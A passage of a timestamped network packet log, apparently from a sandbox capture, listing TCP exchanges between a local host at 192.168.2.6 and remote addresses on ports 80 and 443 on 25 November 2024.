Nov 25, 2024 05:46:24.379602909 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.379661083 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.379709005 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.379837990 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.380510092 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.380593061 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.380610943 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.380665064 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.381409883 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.381524086 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.381524086 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.381603956 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.382313967 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.382368088 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.382411957 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.382477999 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.383217096 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.383306026 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.383343935 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.383394003 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.384133101 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.384253025 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.384278059 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.384397984 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.385015011 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.385081053 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.385128021 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.385174990 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.385927916 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.385998964 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.386009932 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.386053085 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.397275925 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.397332907 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.397361994 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.397414923 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.397741079 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.397811890 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.397855997 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.397906065 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.398633003 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.398703098 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.398749113 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.398792028 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.399535894 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.399589062 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.399602890 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.399693966 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.400448084 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.400499105 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.400568962 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.400620937 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.401335955 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.401411057 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.401544094 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.402225971 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.402272940 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.402290106 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.402359962 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.403126955 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.403193951 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.403194904 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.403238058 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.404032946 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.404098988 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.404145956 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.404194117 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.404972076 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.405036926 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.405059099 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.405138969 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.457165956 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.457684994 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.457699060 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.458265066 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.458271980 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.469362020 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.469479084 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.469598055 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.469598055 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.469799995 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.469995022 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.470035076 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.470200062 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.470679045 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.470756054 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.470829010 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.471625090 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.471688986 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.471736908 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.471863985 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.472496033 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.472618103 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.472667933 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.472706079 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.473407984 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.473464012 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.473495007 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.473645926 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.474299908 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.474354982 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.474397898 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.474461079 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.475265026 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.475399017 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.475466013 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.476080894 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.476183891 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.476263046 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.477018118 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.477092981 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.477143049 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.477196932 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.477885008 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.478004932 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.478085995 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.478781939 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.478904009 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.478981018 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.479688883 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.479753971 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.479798079 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.479921103 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.480597973 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.480655909 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.480699062 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.480851889 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.481499910 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.481611967 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.481671095 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.482384920 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.482492924 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.482543945 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.483300924 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.483357906 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.483402014 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.483774900 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.484183073 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.484251976 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.484292984 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.485096931 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.485179901 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.485243082 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.485317945 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.485980988 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.486090899 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.486104965 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.486150980 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.486921072 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.486991882 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.487107038 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.487162113 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.487802982 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.487869978 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.487905979 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.487993956 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.488681078 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.488791943 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.488838911 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.488918066 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.489582062 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.489671946 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.489720106 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.489846945 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.490469933 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.490520000 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.490591049 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.490696907 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.491378069 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.491467953 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.491499901 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.491563082 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.492078066 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.492260933 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.492377996 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.492460966 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.492784977 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.492799044 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.493205070 CET	49739	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.493210077 CET	443	49739	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.522974014 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.523530960 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.523547888 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.523998022 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.524004936 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.573510885 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.573591948 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.573637009 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.573940039 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.574047089 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.574052095 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.574095964 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.574845076 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.574870110 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.574940920 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.575681925 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.575809002 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.576601028 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.576668024 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.576700926 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.577517986 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.577637911 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.577711105 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.578419924 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.578483105 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.579310894 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.579418898 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.579433918 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.580173969 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.580287933 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.580341101 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.581087112 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.581171989 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.582011938 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.582036018 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.582072020 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.582232952 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.582876921 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.582987070 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.582998037 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.583213091 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.583787918 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.583863974 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.583899021 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.583969116 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.584695101 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.584794998 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.584806919 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.584944963 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.585580111 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.585675001 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.585680008 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.585815907 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.586477995 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.586532116 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.586571932 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.586675882 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.587387085 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.587436914 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.587445021 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.587501049 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.598623991 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.598685026 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.598726034 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.598844051 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.599046946 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.599118948 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.599150896 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.599196911 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.599977016 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.600030899 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.600042105 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.600070000 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.600888968 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.600943089 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.600961924 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.601064920 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.601800919 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.601851940 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.601855040 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.601907969 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.602710009 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.602787018 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.602797031 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.602931976 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.602946043 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.603579044 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.603635073 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.603645086 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.603713036 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.604468107 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.604542017 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.604572058 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.604619026 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.605405092 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.605432034 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.605458975 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.605479956 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.606281996 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.606333017 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.606369972 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.606409073 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.622040987 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.622473955 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.622534037 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.622592926 CET	443	49740	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.623194933 CET	49738	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.623212099 CET	443	49738	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.623539925 CET	49740	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.623555899 CET	443	49740	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.624017954 CET	49740	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:24.624022961 CET	443	49740	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:24.664515018 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.664623976 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.665103912 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.665119886 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.665756941 CET	49743	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.665764093 CET	443	49743	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.671529055 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.671546936 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.671564102 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.671586990 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.671611071 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.671643972 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.672122955 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.672187090 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.672208071 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.672380924 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.673502922 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.673521996 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.673554897 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.673599005 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.674272060 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.674288988 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.674321890 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.674349070 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.674809933 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.674860954 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.674926043 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.674981117 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.675903082 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.676019907 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.676071882 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.676311970 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.676459074 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.676825047 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.676888943 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.676912069 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.677002907 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.677294970 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.677299976 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.677367926 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.677544117 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.677622080 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.677716970 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.677918911 CET	49744	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:24.677923918 CET	443	49744	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:24.677983046 CET	49724	80	192.168.2.6	185.215.113.206
Nov 25, 2024 05:46:24.678406954 CET	80	49724	185.215.113.206	192.168.2.6
Nov 25, 2024 05:46:24.678462029 CET	49724	80	192.168.2.6	185.215.113.206
